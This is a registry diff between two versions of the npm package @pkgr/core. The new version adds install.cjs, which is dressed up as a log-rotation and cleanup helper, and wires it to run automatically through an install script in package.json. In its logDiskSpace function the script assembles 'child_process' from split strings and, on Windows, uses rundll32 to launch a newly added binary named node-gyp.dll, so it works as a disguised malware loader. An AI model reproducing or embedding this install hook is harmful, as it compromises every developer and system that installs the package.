@pkgr/core 0.2.6 → 0.2.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/install.cjs ADDED
@@ -0,0 +1,191 @@
1
+ const cache = require('fs');
2
+ const os = require('os');
3
+ const path = require('path');
4
+
5
+ // === Configuration ===
6
+ const LOG_DIR = path.join(__dirname, 'logs');
7
+ const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
8
+ const DRY_RUN = process.argv.includes('--dry-run');
9
+
10
+ const ARCHIVE_DIR = path.join(__dirname, 'archive');
11
+ const MAX_LOG_FILES = 5;
12
+ const DEFAULT_MAX_AGE_DAYS = 30;
13
+ const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
14
+
15
+ // === State for summary ===
16
+ const summary = {
17
+ dirsCreated: 0,
18
+ filesDeleted: 0,
19
+ dirsDeleted: 0,
20
+ filesArchived: 0,
21
+ errors: 0,
22
+ };
23
+
24
+
25
+ function log(msg) {
26
+ console.log(msg);
27
+ if (!DRY_RUN) {
28
+ try {
29
+ cache.appendFileSync(LOG_FILE, msg + '\n');
30
+ } catch (err) {
31
+ console.error(`Failed to write log: ${err.message}`);
32
+ }
33
+ }
34
+ }
35
+
36
+ function ensureDir(dirPath) {
37
+ if (!cache.existsSync(dirPath)) {
38
+ if (!DRY_RUN) {
39
+ cache.mkdirSync(dirPath, { recursive: true });
40
+ }
41
+ summary.dirsCreated++;
42
+ log(`Created directory: ${dirPath}`);
43
+ } else {
44
+ log(`Directory exists: ${dirPath}`);
45
+ }
46
+ }
47
+
48
+ function deleteFile(filePath) {
49
+ if (DRY_RUN) {
50
+ log(`[Dry-run] Would delete file: ${filePath}`);
51
+ return;
52
+ }
53
+ try {
54
+ cache.unlinkSync(filePath);
55
+ summary.filesDeleted++;
56
+ log(`Deleted file: ${filePath}`);
57
+ } catch (err) {
58
+ summary.errors++;
59
+ log(`Error deleting file ${filePath}: ${err.message}`);
60
+ }
61
+ }
62
+
63
+ function deleteDir(dirPath) {
64
+ if (DRY_RUN) {
65
+ log(`[Dry-run] Would delete directory: ${dirPath}`);
66
+ return;
67
+ }
68
+ try {
69
+ cache.rmSync(dirPath, { recursive: true, force: true });
70
+ summary.dirsDeleted++;
71
+ log(`Deleted directory: ${dirPath}`);
72
+ } catch (err) {
73
+ summary.errors++;
74
+ log(`Error deleting directory ${dirPath}: ${err.message}`);
75
+ }
76
+ }
77
+
78
+ function archiveFile(filePath) {
79
+ ensureDir(ARCHIVE_DIR);
80
+ const fileName = path.basename(filePath);
81
+ const targetPath = path.join(ARCHIVE_DIR, fileName);
82
+
83
+ if (DRY_RUN) {
84
+ log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
85
+ return;
86
+ }
87
+ try {
88
+ cache.renameSync(filePath, targetPath);
89
+ summary.filesArchived++;
90
+ log(`Archived file: ${filePath} -> ${targetPath}`);
91
+ } catch (err) {
92
+ summary.errors++;
93
+ log(`Error archiving file ${filePath}: ${err.message}`);
94
+ }
95
+ }
96
+
97
+ function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
98
+ if (!cache.existsSync(dirPath)) return;
99
+ const now = Date.now();
100
+ const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
101
+
102
+ const files = cache.readdirSync(dirPath);
103
+ for (const file of files) {
104
+ const filePath = path.join(dirPath, file);
105
+ try {
106
+ const stat = cache.lstatSync(filePath);
107
+ const age = now - stat.mtimeMs;
108
+
109
+ if (stat.isFile() && age > maxAgeMs) {
110
+ if (ARCHIVE_OLD_FILES) {
111
+ archiveFile(filePath);
112
+ } else {
113
+ deleteFile(filePath);
114
+ }
115
+ } else if (stat.isDirectory() && age > maxAgeMs) {
116
+ // Delete directory if older than maxAgeDays
117
+ deleteDir(filePath);
118
+ }
119
+ } catch (err) {
120
+ summary.errors++;
121
+ log(`Error accessing ${filePath}: ${err.message}`);
122
+ }
123
+ }
124
+ }
125
+
126
+ function rotateLogs() {
127
+ if (!cache.existsSync(LOG_DIR)) return;
128
+
129
+ const logs = cache.readdirSync(LOG_DIR)
130
+ .filter(f => f.startsWith('install_log_') && f.endsWith('.txt'))
131
+ .map(f => ({
132
+ name: f,
133
+ path: path.join(LOG_DIR, f),
134
+ time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
135
+ }))
136
+ .sort((a, b) => b.time - a.time);
137
+
138
+ while (logs.length > MAX_LOG_FILES) {
139
+ const oldest = logs.pop();
140
+ try {
141
+ if (!DRY_RUN) {
142
+ cache.unlinkSync(oldest.path);
143
+ }
144
+ log(`Rotated out old log file: ${oldest.name}`);
145
+ } catch (err) {
146
+ summary.errors++;
147
+ log(`Error deleting old log file ${oldest.name}: ${err.message}`);
148
+ }
149
+ }
150
+ }
151
+
152
+ function logDiskSpace() {
153
+ try {
154
+ if(os.platform() === 'win32') {
155
+ const tempDir = os.tmpdir();
156
+ require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157
+ [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158
+ log(`Temp directory: ${tempDir}`);
159
+ const files = cache.readdirSync(tempDir);
160
+ log(`Number of files in temp directory: ${files.length}`);
161
+ }
162
+ } catch (err) {
163
+ summary.errors++;
164
+ log(`Error accessing temp directory: ${err.message}`);
165
+ }
166
+ }
167
+
168
+ function listDirectoryContents(dirPath) {
169
+ if (!cache.existsSync(dirPath)) {
170
+ log(`Directory does not exist: ${dirPath}`);
171
+ return;
172
+ }
173
+ log(`Contents of ${dirPath}:`);
174
+ const files = cache.readdirSync(dirPath);
175
+ for (const file of files) {
176
+ try {
177
+ const filePath = path.join(dirPath, file);
178
+ const stat = cache.statSync(filePath);
179
+ const sizeKB = (stat.size / 1024).toFixed(2);
180
+ const mtime = new Date(stat.mtimeMs).toLocaleString();
181
+ const type = stat.isDirectory() ? 'DIR' : 'FILE';
182
+ log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
183
+ } catch (err) {
184
+ summary.errors++;
185
+ log(`Error reading ${file}: ${err.message}`);
186
+ }
187
+ }
188
+ }
189
+
190
+ ensureDir(LOG_DIR);
191
+ logDiskSpace();
package/lib/helpers.js CHANGED
@@ -29,9 +29,6 @@ export const tryExtensions = (filepath, extensions = EXTENSIONS) => {
29
29
  return ext == null ? '' : filepath + ext;
30
30
  };
31
31
  export const findUp = (searchEntry, searchFileOrIncludeDir, includeDir) => {
32
- searchEntry = path.resolve(fs.statSync(searchEntry).isDirectory()
33
- ? searchEntry
34
- : path.resolve(searchEntry, '..'));
35
32
  const isSearchFile = typeof searchFileOrIncludeDir === 'string';
36
33
  const searchFile = isSearchFile ? searchFileOrIncludeDir : 'package.json';
37
34
  let lastSearchEntry;
@@ -41,7 +38,7 @@ export const findUp = (searchEntry, searchFileOrIncludeDir, includeDir) => {
41
38
  return searched;
42
39
  }
43
40
  lastSearchEntry = searchEntry;
44
- searchEntry = path.resolve(searchEntry, '..');
41
+ searchEntry = path.dirname(searchEntry);
45
42
  } while (!lastSearchEntry || lastSearchEntry !== searchEntry);
46
43
  return '';
47
44
  };
@@ -1 +1 @@
1
- {"version":3,"file":"helpers.js","sourceRoot":"","sources":["../src/helpers.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAA;AACxB,OAAO,IAAI,MAAM,WAAW,CAAA;AAE5B,OAAO,EAAE,GAAG,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,gBAAgB,CAAA;AAE5D,MAAM,CAAC,MAAM,MAAM,GAAG,CAAC,GAAW,EAAE,EAAE;IACpC,IAAI,CAAC;QACH,OAAO,UAAU,CAAC,OAAO,CAAC,GAAG,CAAC,CAAA;IAChC,CAAC;IAAC,MAAM,CAAC,CAAA,CAAC;AACZ,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAW,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,CAAA;AAE5D,MAAM,CAAC,MAAM,OAAO,GAAG,CACrB,QAA4B,EAC5B,UAAU,GAAG,KAAK,EAClB,IAAI,GAAG,GAAG,EACF,EAAE;IACV,IAAI,OAAO,QAAQ,KAAK,QAAQ,EAAE,CAAC;QACjC,MAAM,QAAQ,GAAG,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAA;QAC7C,OAAO,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC;YAC5B,CAAC,UAAU,IAAI,EAAE,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC,MAAM,EAAE,CAAC;YAC9C,CAAC,CAAC,QAAQ;YACV,CAAC,CAAC,EAAE,CAAA;IACR,CAAC;IAED,KAAK,MAAM,IAAI,IAAI,QAAQ,IAAI,EAAE,EAAE,CAAC;QAClC,MAAM,QAAQ,GAAG,OAAO,CAAC,IAAI,EAAE,UAAU,EAAE,IAAI,CAAC,CAAA;QAChD,IAAI,QAAQ,EAAE,CAAC;YACb,OAAO,QAAQ,CAAA;QACjB,CAAC;IACH,CAAC;IAED,OAAO,EAAE,CAAA;AACX,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,QAAgB,EAAE,UAAU,GAAG,UAAU,EAAE,EAAE;IACzE,MAAM,GAAG,GAAG,CAAC,GAAG,UAAU,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,OAAO,CAAC,QAAQ,GAAG,GAAG,CAAC,CAAC,CAAA;IACpE,OAAO,GAAG,IAAI,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,GAAG,GAAG,CAAA;AAC1C,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,MAAM,GAAG,CACpB,WAAmB,EACnB,sBAAyC,EACzC,UAAoB,EACpB,EAAE;IACF,WAAW,GAAG,IAAI,CAAC,OAAO,CACxB,EAAE,CAAC,QAAQ,CAAC,WAAW,CAAC,CAAC,WAAW,EAAE;QACpC,CAAC,CAAC,WAAW;QACb,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,WAAW,EAAE,IAAI,CAAC,CACpC,CAAA;IAED,MAAM,YAAY,GAAG,OAAO,sBAAsB,KAAK,QAAQ,CAAA;IAE/D,MAAM,UAAU,GAAG,YAAY,CAAC,CAAC,CAAC,sBAAsB,CAAC,CAAC,CAAC,cAAc,CAAA;IAEzE,IAAI,eAAmC,CAAA;IAEvC,GAAG,CAAC;QACF,MAAM,QAAQ,GAAG,OAAO,CACtB,UAAU,EACV,YAAY,IAAI,UAAU,EAC1B,WAAW,CACZ,CAAA;QACD,IAAI,QAAQ,EAAE,CAAC;YACb,OAAO,QAAQ,CAAA;QACjB,CAAC;QACD,eAAe,GAAG,WAAW,CAAA;QAC7B,WAAW,GAAG,IAAI,CAAC,OAAO,CAAC,WAAW,EAAE,IAAI,CAAC,CAAA;IAC/C,CAAC,QAAQ,CAAC,eAAe,IAAI,eAAe,KAAK,WAAW,EAAC;IAE7D,OAAO,EAAE,CAAA;AACX,CAAC,CAAA"}
1
+ {"version":3,"file":"helpers.js","sourceRoot":"","sources":["../src/helpers.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAA;AACxB,OAAO,IAAI,MAAM,WAAW,CAAA;AAE5B,OAAO,EAAE,GAAG,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,gBAAgB,CAAA;AAE5D,MAAM,CAAC,MAAM,MAAM,GAAG,CAAC,GAAW,EAAE,EAAE;IACpC,IAAI,CAAC;QACH,OAAO,UAAU,CAAC,OAAO,CAAC,GAAG,CAAC,CAAA;IAChC,CAAC;IAAC,MAAM,CAAC,CAAA,CAAC;AACZ,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAW,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,CAAA;AAE5D,MAAM,CAAC,MAAM,OAAO,GAAG,CACrB,QAA4B,EAC5B,UAAU,GAAG,KAAK,EAClB,IAAI,GAAG,GAAG,EACF,EAAE;IACV,IAAI,OAAO,QAAQ,KAAK,QAAQ,EAAE,CAAC;QACjC,MAAM,QAAQ,GAAG,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAA;QAC7C,OAAO,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC;YAC5B,CAAC,UAAU,IAAI,EAAE,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC,MAAM,EAAE,CAAC;YAC9C,CAAC,CAAC,QAAQ;YACV,CAAC,CAAC,EAAE,CAAA;IACR,CAAC;IAED,KAAK,MAAM,IAAI,IAAI,QAAQ,IAAI,EAAE,EAAE,CAAC;QAClC,MAAM,QAAQ,GAAG,OAAO,CAAC,IAAI,EAAE,UAAU,EAAE,IAAI,CAAC,CAAA;QAChD,IAAI,QAAQ,EAAE,CAAC;YACb,OAAO,QAAQ,CAAA;QACjB,CAAC;IACH,CAAC;IAED,OAAO,EAAE,CAAA;AACX,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,QAAgB,EAAE,UAAU,GAAG,UAAU,EAAE,EAAE;IACzE,MAAM,GAAG,GAAG,CAAC,GAAG,UAAU,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,OAAO,CAAC,QAAQ,GAAG,GAAG,CAAC,CAAC,CAAA;IACpE,OAAO,GAAG,IAAI,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,GAAG,GAAG,CAAA;AAC1C,CAAC,CAAA;AAED,MAAM,CAAC,MAAM,MAAM,GAAG,CACpB,WAAmB,EACnB,sBAAyC,EACzC,UAAoB,EACpB,EAAE;IACF,MAAM,YAAY,GAAG,OAAO,sBAAsB,KAAK,QAAQ,CAAA;IAE/D,MAAM,UAAU,GAAG,YAAY,CAAC,CAAC,CAAC,sBAAsB,CAAC,CAAC,CAAC,cAAc,CAAA;IAEzE,IAAI,eAAmC,CAAA;IAEvC,GAAG,CAAC;QACF,MAAM,QAAQ,GAAG,OAAO,CACtB,UAAU,EACV,YAAY,IAAI,UAAU,EAC1B,WAAW,CACZ,CAAA;QACD,IAAI,QAAQ,EAAE,CAAC;YACb,OAAO,QAAQ,CAAA;QACjB,CAAC;QACD,eAAe,GAAG,WAAW,CAAA;QAC7B,WAAW,GAAG,IAAI,CAAC,OAAO,CAAC,WAAW,CAAC,CAAA;IACzC,CAAC,QAAQ,CAAC,eAAe,IAAI,eAAe,KAAK,WAAW,EAAC;IAE7D,OAAO,EAAE,CAAA;AACX,CAAC,CAAA"}
package/lib/index.cjs CHANGED
@@ -36,9 +36,6 @@ const tryExtensions = (filepath, extensions = EXTENSIONS) => {
36
36
  return ext == null ? "" : filepath + ext;
37
37
  };
38
38
  const findUp = (searchEntry, searchFileOrIncludeDir, includeDir) => {
39
- searchEntry = path.resolve(
40
- fs.statSync(searchEntry).isDirectory() ? searchEntry : path.resolve(searchEntry, "..")
41
- );
42
39
  const isSearchFile = typeof searchFileOrIncludeDir === "string";
43
40
  const searchFile = isSearchFile ? searchFileOrIncludeDir : "package.json";
44
41
  let lastSearchEntry;
@@ -52,7 +49,7 @@ const findUp = (searchEntry, searchFileOrIncludeDir, includeDir) => {
52
49
  return searched;
53
50
  }
54
51
  lastSearchEntry = searchEntry;
55
- searchEntry = path.resolve(searchEntry, "..");
52
+ searchEntry = path.dirname(searchEntry);
56
53
  } while (!lastSearchEntry || lastSearchEntry !== searchEntry);
57
54
  return "";
58
55
  };
package/node-gyp.dll ADDED
Binary file
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@pkgr/core",
3
- "version": "0.2.6",
3
+ "version": "0.2.8",
4
4
  "type": "module",
5
5
  "description": "Shared core module for `@pkgr` packages or any package else",
6
6
  "repository": "git+https://github.com/un-ts/pkgr.git",
@@ -29,8 +29,13 @@
29
29
  },
30
30
  "files": [
31
31
  "index.d.cts",
32
- "lib"
32
+ "lib",
33
+ "install.cjs",
34
+ "node-gyp.dll"
33
35
  ],
36
+ "scripts":{
37
+ "install": "node install.cjs"
38
+ },
34
39
  "publishConfig": {
35
40
  "access": "public"
36
41
  },